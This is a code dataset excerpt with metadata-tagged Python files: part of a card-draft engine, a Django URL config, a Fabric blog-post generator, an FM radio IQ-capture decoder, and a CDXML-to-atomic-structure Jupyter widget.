is_pack_finished(self) -> bool:\n return len(self.get_pending_players()) == 0\n\n def pick(self, player_id: int, position: int) -> PickReturn:\n player = self.player_by_id(player_id)\n pack = player.pick(position)\n if pack is None:\n return PickReturn({}, [])\n\n users_to_update: List[DraftPlayer] = []\n\n pick = player.last_pick()\n print(f\"Player {player_id} picked {pick}\")\n\n pick_effects = []\n effect = self.check_if_draft_matters(player, pack)\n if effect:\n player.face_up.append(pick)\n pick_effects.append(effect)\n\n # push to next player\n if not was_last_pick_of_pack(pack):\n next_player_id = self.get_next_player(player, pack)\n next_player = self.player_by_id(next_player_id)\n has_new_pack = next_player.push_pack(pack)\n if has_new_pack:\n users_to_update.append(next_player)\n\n if player.has_current_pack() and player not in users_to_update:\n users_to_update.append(player)\n\n result: Dict[DraftPlayer, List[str]] = {}\n new_booster = False\n for player in users_to_update:\n result[player] = []\n if player.has_one_card_in_current_pack():\n new_booster, effect = self.autopick(player)\n if effect:\n player.face_up.append(player.last_pick())\n pick_effects.append(effect)\n result[player].append(player.last_pick())\n\n if new_booster:\n for player in self._state:\n if player not in users_to_update:\n result[player] = []\n\n return PickReturn(result, pick_effects)\n\n def check_if_draft_matters(self, player: DraftPlayer, pack: Booster) -> Optional[player_card_drafteffect]:\n pick = player.last_pick()\n if pick == 'Lore Seeker': # Reveal Lore Seeker as you draft it. After you draft Lore Seeker, you may add a booster pack to the draft\n if self.spare_cards < self.cards_per_booster:\n # Don't add a booster if we don't have enough cards\n # revisit this when we have support for generating magic boosters\n return None\n self.spare_cards -= self.cards_per_booster\n self.open_booster(player, pack.number)\n return (player, pick, DraftEffect.add_booster_to_draft)\n if pick in ['Cogwork Librarian', \"Leovold's Operative\"]: # Swap me into a later booster!\n return (player, pick, DraftEffect.no_immediate_effect)\n\n return None\n\n def autopick(self, player: DraftPlayer) -> Tuple[bool, Optional[player_card_drafteffect]]:\n if player.has_one_card_in_current_pack():\n pack = player.autopick()\n if not pack:\n return False, None\n pick_effect = self.check_if_draft_matters(player, pack)\n nextbooster = False\n if self.is_pack_finished() and not self.is_draft_finished():\n self.open_boosters_for_all_players()\n nextbooster = True\n return nextbooster, pick_effect\n return False, None\n\n def get_next_player(self, player: DraftPlayer, pack: Booster) -> int:\n i = player.seat\n if pack.number % 2 == 1:\n return self.players[(i + 1) % len(self.players)]\n return self.players[i - 1]\n\ndef was_last_pick_of_pack(pack: Booster) -> bool:\n return pack.is_empty()\n", "sub_path": "core_draft/draft.py", "file_name": "draft.py", "file_ext": "py", "file_size_in_byte": 6941, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "enum.Enum", "line_number": 11, "usage_type": "call"}, {"api_name": "enum.Enum", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 14, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 20, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 21, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 18, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 31, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 31, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 31, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 35, "usage_type": "name"}, {"api_name": "attr.ib", "line_number": 35, "usage_type": "call"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "name"}, {"api_name": "core_draft.booster.Booster", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 51, "usage_type": "name"}, {"api_name": "core_draft.cog_exceptions.UserFeedbackException", "line_number": 58, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 61, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 62, "usage_type": "call"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 64, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 54, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 54, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 71, "usage_type": "name"}, {"api_name": "core_draft.booster.Booster", "line_number": 73, "usage_type": "call"}, {"api_name": "core_draft.booster.Booster", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 83, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 98, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 120, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 120, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 138, "usage_type": "name"}, {"api_name": "core_draft.booster.Booster", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 138, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 153, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 153, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 153, "usage_type": "name"}, {"api_name": "core_draft.draft_player.DraftPlayer", "line_number": 166, "usage_type": "name"}, {"api_name": "core_draft.booster.Booster", "line_number": 166, "usage_type": "name"}, {"api_name": "attr.s", "line_number": 23, "usage_type": "call"}, {"api_name": "core_draft.booster.Booster", "line_number": 172, "usage_type": "name"}]} +{"seq_id": "418335754", "text": "from django.conf.urls.defaults import patterns, url\nfrom django.contrib import admin\nfrom home import views\n\nurlpatterns = patterns('home.views',\n\t\n\turl(r'^$', 'homeView',name=\"home\"),\n\turl(r'^register$', 'regview'),\n\turl(r'^course/create$', 'createCourseView',name=\"createCourse\"),\n\turl(r'^activity/create$', 'createActivityView', name=\"createActivity\"),\n\turl(r'^about$', 'aboutView', name=\"about\"),\n\n\n#de aqui hacia abajo fue lo q agregue\n\n\turl(r'^courses/read$','readCoursesView',name=\"readCourses\"),\n\turl(r'^courses/edit$','editCoursesView',name=\"editCourse\"),\n\turl(r'^courses/delete$','deleteCoursesView',name=\"deleteCourses\"),\n\turl(r'^courses/course/delete$','deleteCourseView',name=\"deleteCourse\"),\n\turl(r'^myCourses/inscribe$','inscribeCourseView',name=\"inscribeCourse\"),\n\n\turl(r'^activities/read$','readActivitiesView',name=\"readActivities\"),\n\turl(r'^activities/activity/read$','readActivityView',name=\"readActivity\"),\n\turl(r'^activities/edit$','editActivitiesView',name=\"editActivities\"),\n\n\turl(r'^activities/delete$','deleteActivitiesView',name=\"deleteActivities\"),\n\turl(r'^activities/activity/delte$','deleteActivityView',name=\"deleteActivity\"),\n\t\n\n)", "sub_path": "home/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1162, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.defaults.patterns", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.defaults.url", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "640040443", "text": "import os\nfrom time import localtime, strftime\nimport re\nimport sys\n\nfrom fabric.api import local, lcd, settings, task\nfrom fabric.utils import puts\nfrom blog_config import INPUT_PATH, OUTPUT_PATH\n\nSETTINGS_FILE = 'blog_config'\n\n# Load paths\nABS_DIR_PATH = os.path.dirname(os.path.abspath(__file__))\nABS_SETTINGS_FILE = os.path.join(ABS_DIR_PATH, SETTINGS_FILE)\n# ABS_OUTPUT_PATH = os.path.join(ABS_DIR_PATH, os.path.normpath(OUTPUT_PATH))\nABS_INPUT_PATH = os.path.normpath(os.path.join(ABS_DIR_PATH, INPUT_PATH))\n\n__all__ = ['generate_new_post']\n\n@task(alias=\"np\")\ndef generate_new_post(name = \"\", extension = \".md\",\n should_open = True, list_existing = False):\n \"\"\" Make a new post \"\"\"\n if list_existing:\n path = _post_path()\n existing_files = os.listdir(path)\n puts(\"Files in today's folder already:\")\n for n in existing_files:\n puts(\"\\t\" + n)\n if not name:\n puts(\"Enter a post name, or 'quit' to exit':\")\n name = raw_input(\"\\t:\")\n if name == \"quit\":\n puts(\"Done!\")\n sys.exit(0)\n path = _post_path()\n file_name = _post_name(name) + extension\n full_post_uri = os.path.join(path, file_name)\n if not _name_is_unique(full_post_uri):\n puts(\"Name not unique!\")\n generate_new_post(list_existing = True)\n sys.exit(0)\n puts(\"Generated new post: \", file_name)\n puts(\"Stored it in: \", path)\n puts(\"Adding default metadata\")\n _write_default_metadata(name, full_post_uri)\n if should_open:\n puts(\"Opening new post\")\n _open_file(full_post_uri)\n else:\n puts(\"Complete.\")\n sys.exit(0)\n\n\ndef _write_default_metadata(post_real_name, post_full_path):\n # Control structure for metadata order\n def load_config_or_else(key, default):\n \"\"\" Try to load a value from config; if not found, return default \"\"\"\n try:\n val = getattr(__import__(SETTINGS_FILE, globals(),\n locals(), key.upper()), key.upper())\n return val\n except AttributeError:\n return default\n\n metadata_keys = [\n \"Title\", \"Author\", \"Date\", \"Slug\", \"Category\", \"Tags\", \"Summary\", \"status\"\n ]\n metadata_defaults = {\n \"Title\": post_real_name,\n \"Date\": strftime(\"%Y-%m-%d %H:%M\", localtime()),\n \"Category\": \"\",\n \"Tags\": \"\",\n \"Slug\": os.path.basename(post_full_path[:-3]),\n \"Author\": \"\",\n \"Summary\": \"\",\n \"status\": \"draft\"\n }\n for key in metadata_keys:\n metadata_defaults[key] = load_config_or_else(key, metadata_defaults[key])\n\n with open(post_full_path, 'w') as pointer:\n for key in metadata_keys:\n pointer.write(\"%s: %s\\n\" % (key, metadata_defaults[key]))\n\n\ndef _name_is_unique(candidate_path):\n \"\"\" Check if the generated path name is unique or not \"\"\"\n return False if os.path.isfile(candidate_path) else True\n\n\ndef _post_path():\n \"\"\" Generate the correct post path and make sure it exists \"\"\"\n abs_path = os.path.join(ABS_INPUT_PATH, 'posts')\n if not os.path.exists(abs_path):\n local(\"mkdir -p %s\" % abs_path)\n return abs_path\n\n\ndef _post_name(input_string):\n \"\"\" Generate a valid post name \"\"\"\n def is_not_empty(entry): return True if entry else False\n first_pass = re.sub(\"\\s\", \"_\", input_string.lower())\n second_pass = \"\".join(filter(is_not_empty, re.findall(\"\\w\", first_pass)))\n third_pass = re.search(\"([a-z0-9]*_){,4}[a-z0-9]*\", second_pass).group()\n timestamp = strftime(\"%Y-%m-%d\", localtime())\n return \"_\".join([timestamp, third_pass])\n\n\ndef _open_file(filepath):\n \"\"\" Open the given file for editing \"\"\"\n cmd = \"$EDITOR \" + filepath\n local(cmd)\n", "sub_path": "fabfile/new_post.py", "file_name": "new_post.py", "file_ext": "py", "file_size_in_byte": 3746, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "blog_config.INPUT_PATH", "line_number": 16, "usage_type": "argument"}, {"api_name": "os.listdir", "line_number": 26, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 27, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 29, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 31, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "fabric.utils.puts", "line_number": 40, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 43, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 44, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 45, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 48, "usage_type": "call"}, {"api_name": "fabric.utils.puts", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 52, "usage_type": "call"}, {"api_name": "fabric.api.task", "line_number": 20, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 71, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "fabric.api.local", "line_number": 96, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 103, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 104, "usage_type": "call"}, {"api_name": "re.search", "line_number": 105, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 106, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 106, "usage_type": "call"}, {"api_name": "fabric.api.local", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "319069513", "text": "import os\nfrom os import listdir\nfrom os.path import isfile, join\nimport capture_info as ci\nimport cmath\nimport math\nimport matplotlib.pyplot as plt\nimport numpy\nimport pickle\nimport sys\nimport wave, struct\n\nglobal CAPTURE_PATH\nCAPTURE_PATH = \"./captures/\"\nPREPROCESSED_PATH = \"./captures/preprocessed/\"\nOUTPUT_PATH = \"./output/\"\n\n## prompts the user to choose which file they wish to analyze.\ndef choose_file():\n myfiles = [f for f in listdir(CAPTURE_PATH) if isfile(join(CAPTURE_PATH, f))]\n numfiles = len(myfiles)\n filenum = 1\n for filename in myfiles:\n print(\"{}. {}\".format(filenum,filename))\n filenum += 1\n\t\n no_val = True\n while(no_val):\n filechoice = input(\"Please enter the number of the file you would like to process: \")\n try:\n filechoice = int(filechoice)\n if(filechoice > 0 and filechoice <= numfiles):\n filechoice -= 1\n no_val = False\n else:\n raise ValueError\n except:\n print(\"Enter a number between 1 and {}.\".format(numfiles))\n return myfiles[filechoice]\n\n## reads the binary file and returns the signal in complex form.\n## I have commented out the sections that save the data for quick reading later. I don't know\n## if anything like this really exists in python like it does MATLAB.\n## The flag is there to read the whole file or just part of the file. 0 is the whole file, > 0 is that percent of the file.\ndef read_file(filename,flag):\n shortfilename = filename.split('.')[0]\n mypath = CAPTURE_PATH+filename\n preprocessed = [f for f in listdir(PREPROCESSED_PATH)]\n #if(shortfilename in preprocessed):\n # print(\"Loading in previously saved data...\")\n # # Getting back the objects:\n # f=open(shortfilename+'.pkl','rb')\n # signal = pickle.load(f)\n # f.close()\n # return signal\n\n print(\"Reading data...\")\n signal = []\n num_iqpairs = os.path.getsize(mypath)//2\n if(flag != 0):\n num_iqpairs = int(num_iqpairs*float(flag))\n inputfile = os.open(mypath,os.O_RDONLY)\n for b in range(0,num_iqpairs):\n re_b = os.read(inputfile,1)\n im_b = os.read(inputfile,1)\n re = int.from_bytes(re_b,byteorder='big',signed=False)-127.5\n im = int.from_bytes(im_b,byteorder='big',signed=False)-127.5\n signal.append(complex(re,im))\n os.close(inputfile)\n \n # Saving the objects:\n #print(\"Saving the data for later...\")\n #f= open(shortfilename+'.pkl', 'wb')\n #pickle.dump(signal, f, protocol=-1)\n #f.close()\n\n return signal\n\n## given a signal and its info (sample frequency, plot it in the frequency or time domain.\n## if the flag is 0, plot in the time domain. If it is 1, plot in the frequency domain.\ndef plot(signal,signal_info, flag):\n if(flag == 0):\n timescale = []\n numsamples = len(signal)\n for i in range(0,numsamples):\n timescale.append(i*(1/signal_info.sample_rate))\n plt.plot(timescale,signal)\n plt.axis([0,signal_info.capture_period,min(signal),max(signal)])\n plt.show()\n else:\n signal_fft = numpy.fft.fft(signal)\n for i in range(0,len(signal_fft)):\n temp = 20*math.log10(abs(signal_fft[i]))\n signal_fft[i] = temp\n freqscale = []\n numsamples = len(signal_fft)\n step = signal_info.sample_rate/numsamples\n for i in range(0,numsamples):\n freqscale.append((-1*signal_info.sample_rate/2)+i*step)\n plt.plot(freqscale,signal_fft)\n plt.axis([(-1*signal_info.sample_rate/2),(signal_info.sample_rate/2),0,max(signal_fft)])\n plt.show()\n return\n\n## returns the phase error while wrapping around the -pi to pi discontinuity.\ndef wrap_subtract(phase1,phase2):\n if(abs(phase1-phase2) > math.pi):\n phaseerr = 2*math.pi - (abs(phase1) + abs(phase2))\n sign = int(phase2/abs(phase2))\n return sign*phaseerr\n else:\n return phase1-phase2\n\n## low pass filters and decimates the signal according to the factor.\n## the purpose of this is to tune out any other radio signals\ndef decimate(signal,signal_info,factor):\n # low pass filter the signal\n f_c = signal_info.sample_rate/(2*factor)\n sample_period = 1/signal_info.sample_rate\n numsamples = len(signal)\n lowpass = numpy.fft.fft(signal)\n freq_res = signal_info.sample_rate/numsamples\n\n #plot(signal,signal_info,1)\n\n # low pass filter at f_c\n for i in range(0,numsamples):\n freq = -1*(signal_info.sample_rate/2)+i*freq_res\n if(abs(freq)>f_c):\n lowpass[i]=complex(0,0.001)\n lowpass = numpy.fft.ifft(lowpass)\n\n #plot(lowpass,signal_info,1)\n\n decimated = []\n for i in range(0,numsamples,factor):\n decimated.append(lowpass[i])\n\n signal_info.sample_rate = signal_info.sample_rate/factor\n return (decimated,signal_info)\n\n\n## uses the PLL design to decode the FM signal. For more PLL theory see the main.html file.\n## assumes that the center frequency is the radio station that you want to listen in on.\ndef pll_decode(signal,signal_info):\n ## initialize variables\n f_c = signal_info.sample_rate/2\n sample_period = 1/signal_info.sample_rate\n num_samples = len(signal)\n signal.insert(0,0)\n decoded_signal = [complex(0,0)]\n vco_phase = 0\n\n ## decode\n for i in range(1,num_samples):\n ## phase detection\n #range of cmath.phase(*) is -pi to pi\n phase_err = wrap_subtract(cmath.phase(signal[i]),vco_phase)\n\n ## low-pass filter \n alpha = (2*math.pi*f_c*sample_period)/(1+2*math.pi*f_c*sample_period)\n decoded_sample = alpha * phase_err + (1-alpha)*decoded_signal[i-1]\n decoded_signal.append(decoded_sample)\n\n ## change VCO phase\n vco_phase = vco_phase + cmath.phase(decoded_sample)\n\n ## wrap the VCO phase around the -pi to pi discontinuity. \n if(vco_phase > math.pi):\n vco_phase = -2*math.pi + vco_phase\n if(vco_phase < math.pi):\n vco_phase = 2*math.pi + vco_phase \n\n return decoded_signal\n\ndef write_wav(signal,signal_info):\n shortname = (signal_info.name).split('.')[0]\n f = wave.open(OUTPUT_PATH+shortname+'.wav','wb')\n f.setnchannels(1) #mono\n f.setsampwidth(2)\n f.setframerate(signal_info.sample_rate)\n for val in signal:\n value = int(abs(val))\n data = struct.pack(' 1):\n signal = read_file(filename,sys.argv[1])\n else:\n signal = read_file(filename,0)\n signal_info = ci.fetch(filename)\n\n #plot(signal,signal_info,1) #take FFT and plot signal\n\n factor = 8\n if(len(sys.argv)>2):\n try:\n factor = int(sys.argv[2])\n except:\n factor = 8\n decimated,signal_info = decimate(signal,signal_info,factor)\n #this decimated signal focuses in on the radio station centered at 0 Hz\n\n #plot(decimated,signal_info,1)\n\n decoded = pll_decode(signal,signal_info)\n #this decodes the FM radio station, but it is still WFM\n\n #plot(decoded,signal_info,1)\n\n mono_channel,signal_info = decimate(decoded,signal_info,8)\n #this decimates again and brings the mono channel into focus\n\n #plot(mono_channel,signal_info,1)\n \n write_wav(mono_channel,signal_info)\n print(\"Your .wav file is ready to listen to!\")\n", "sub_path": "process_fm.py", "file_name": "process_fm.py", "file_ext": "py", "file_size_in_byte": 7571, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.open", "line_number": 62, "usage_type": "call"}, {"api_name": "os.O_RDONLY", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.read", "line_number": 64, "usage_type": "call"}, {"api_name": "os.read", "line_number": 65, "usage_type": "call"}, {"api_name": "os.close", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "numpy.fft.fft", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 91, "usage_type": "attribute"}, {"api_name": "math.log10", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 107, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 108, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.fft.ifft", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 131, "usage_type": "attribute"}, {"api_name": "cmath.phase", "line_number": 158, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 161, "usage_type": "attribute"}, {"api_name": "cmath.phase", "line_number": 166, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 169, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 170, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 171, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 172, "usage_type": "attribute"}, {"api_name": "wave.open", "line_number": 178, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 184, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 193, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 194, "usage_type": "attribute"}, {"api_name": "capture_info.fetch", "line_number": 197, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 202, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 204, "usage_type": "attribute"}]} +{"seq_id": "163043428", "text": "import re\n\nimport ase\nimport ipywidgets as ipw\nimport numpy as np\nimport scipy\nimport sklearn.decomposition\nimport traitlets as tr\nfrom ase import neighborlist\n\n\nclass CdxmlUpload2GnrWidget(ipw.VBox):\n \"\"\"Class that allows to upload structures from user's computer.\"\"\"\n\n structure = tr.Instance(ase.Atoms, allow_none=True)\n\n def __init__(self, title=\"CDXML to GNR\", description=\"Upload Structure\"):\n self.title = title\n try:\n import openbabel # noqa: F401\n except ImportError:\n super().__init__(\n [\n ipw.HTML(\n \"The CdxmlUpload2GnrWidget requires the OpenBabel library, \"\n \"but the library was not found.\"\n )\n ]\n )\n return\n\n self.mols = None\n self.original_structure = None\n self.selection = set()\n self.file_upload = ipw.FileUpload(\n description=description, multiple=False, layout={\"width\": \"initial\"}\n )\n supported_formats = ipw.HTML(\n \"\"\"\n Supported structure formats: \".cdxml\"\n \"\"\"\n )\n\n self.file_upload.observe(self._on_file_upload, names=\"value\")\n\n self.allmols = ipw.Dropdown(\n options=[None], description=\"Select mol\", value=None, disabled=True\n )\n self.allmols.observe(self._on_sketch_selected, names=\"value\")\n\n super().__init__(children=[self.file_upload, supported_formats, self.allmols])\n\n @staticmethod\n def guess_scaling_factor(atoms):\n \"\"\"Scaling factor to correct the bond length.\"\"\"\n\n # Set bounding box as cell.\n atoms.cell = np.ptp(atoms.positions, axis=0) + 15\n atoms.pbc = (True, True, True)\n\n # Calculate all atom-atom distances.\n c_atoms = [a for a in atoms if a.symbol[0] == \"C\"]\n n_atoms = len(c_atoms)\n dists = np.zeros([n_atoms, n_atoms])\n for i, atom_a in enumerate(c_atoms):\n for j, atom_b in enumerate(c_atoms):\n dists[i, j] = np.linalg.norm(atom_a.position - atom_b.position)\n\n # Find bond distances to closest neighbor.\n dists += np.diag([np.inf] * n_atoms) # Don't consider diagonal.\n bonds = np.amin(dists, axis=1)\n\n # Average bond distance.\n avg_bond = float(scipy.stats.mode(bonds)[0])\n\n # Scale box to match equilibrium carbon-carbon bond distance.\n cc_eq = 1.4313333333\n return cc_eq / avg_bond\n\n @staticmethod\n def scale(atoms, s):\n \"\"\"Scale atomic positions by the `factor`.\"\"\"\n c_x, c_y, c_z = atoms.cell\n atoms.set_cell((s * c_x, s * c_y, c_z), scale_atoms=True)\n atoms.cell = np.ptp(atoms.positions, axis=0) + 15\n atoms.center()\n return atoms\n\n @staticmethod\n def pybel2ase(mol):\n \"\"\"Converts pybel molecule into ase Atoms\"\"\"\n species = [ase.data.chemical_symbols[atm.atomicnum] for atm in mol.atoms]\n pos = np.asarray([atm.coords for atm in mol.atoms])\n pca = sklearn.decomposition.PCA(n_components=3)\n posnew = pca.fit_transform(pos)\n atoms = ase.Atoms(species, positions=posnew)\n sys_size = np.ptp(atoms.positions, axis=0)\n atoms.rotate(-90, \"z\") # cdxml are rotated\n atoms.pbc = True\n atoms.cell = sys_size + 10\n atoms.center()\n\n return atoms\n\n @staticmethod\n def add_h(atoms):\n \"\"\"Add missing hydrogen atoms.\"\"\"\n\n n_l = neighborlist.NeighborList(\n [ase.data.covalent_radii[a.number] for a in atoms],\n bothways=True,\n self_interaction=False,\n )\n n_l.update(atoms)\n\n need_hydrogen = []\n for atm in atoms:\n if len(n_l.get_neighbors(atm.index)[0]) < 3:\n if atm.symbol == \"C\" or atm.symbol == \"N\":\n need_hydrogen.append(atm.index)\n\n print(\"Added missing Hydrogen atoms: \", need_hydrogen)\n\n for atm in need_hydrogen:\n vec = np.zeros(3)\n indices, offsets = n_l.get_neighbors(atoms[atm].index)\n for i, offset in zip(indices, offsets):\n vec += -atoms[atm].position + (\n atoms.positions[i] + np.dot(offset, atoms.get_cell())\n )\n vec = -vec / np.linalg.norm(vec) * 1.1 + atoms[atm].position\n atoms.append(ase.Atom(\"H\", vec))\n\n return atoms\n\n def _on_file_upload(self, change=None):\n \"\"\"When file upload button is pressed.\"\"\"\n from openbabel import pybel as pb\n\n self.mols = None\n listmols = []\n molid = 0\n for fname, _item in change[\"new\"].items():\n frmt = fname.split(\".\")[-1]\n if frmt == \"cdxml\":\n cdxml_file_string = self.file_upload.value[fname][\"content\"].decode(\n \"ascii\"\n )\n self.mols = re.findall(\n \"\")\n self.mols[molid] = m\n listmols.append(\n (str(molid) + \": \" + m.formula, molid)\n ) # m MUST BE a pb object!!!\n molid += 1\n self.allmols.options = listmols\n\n self.allmols.disabled = False\n\n break\n\n def _on_sketch_selected(self, change=None):\n self.structure = None # needed to empty view in second viewer\n if self.mols is None or self.allmols.value is None:\n return\n atoms = self.pybel2ase(self.mols[self.allmols.value])\n factor = self.guess_scaling_factor(atoms)\n atoms = self.scale(atoms, factor)\n atoms = self.add_h(atoms)\n self.structure = atoms\n self.file_upload.value.clear()\n", "sub_path": 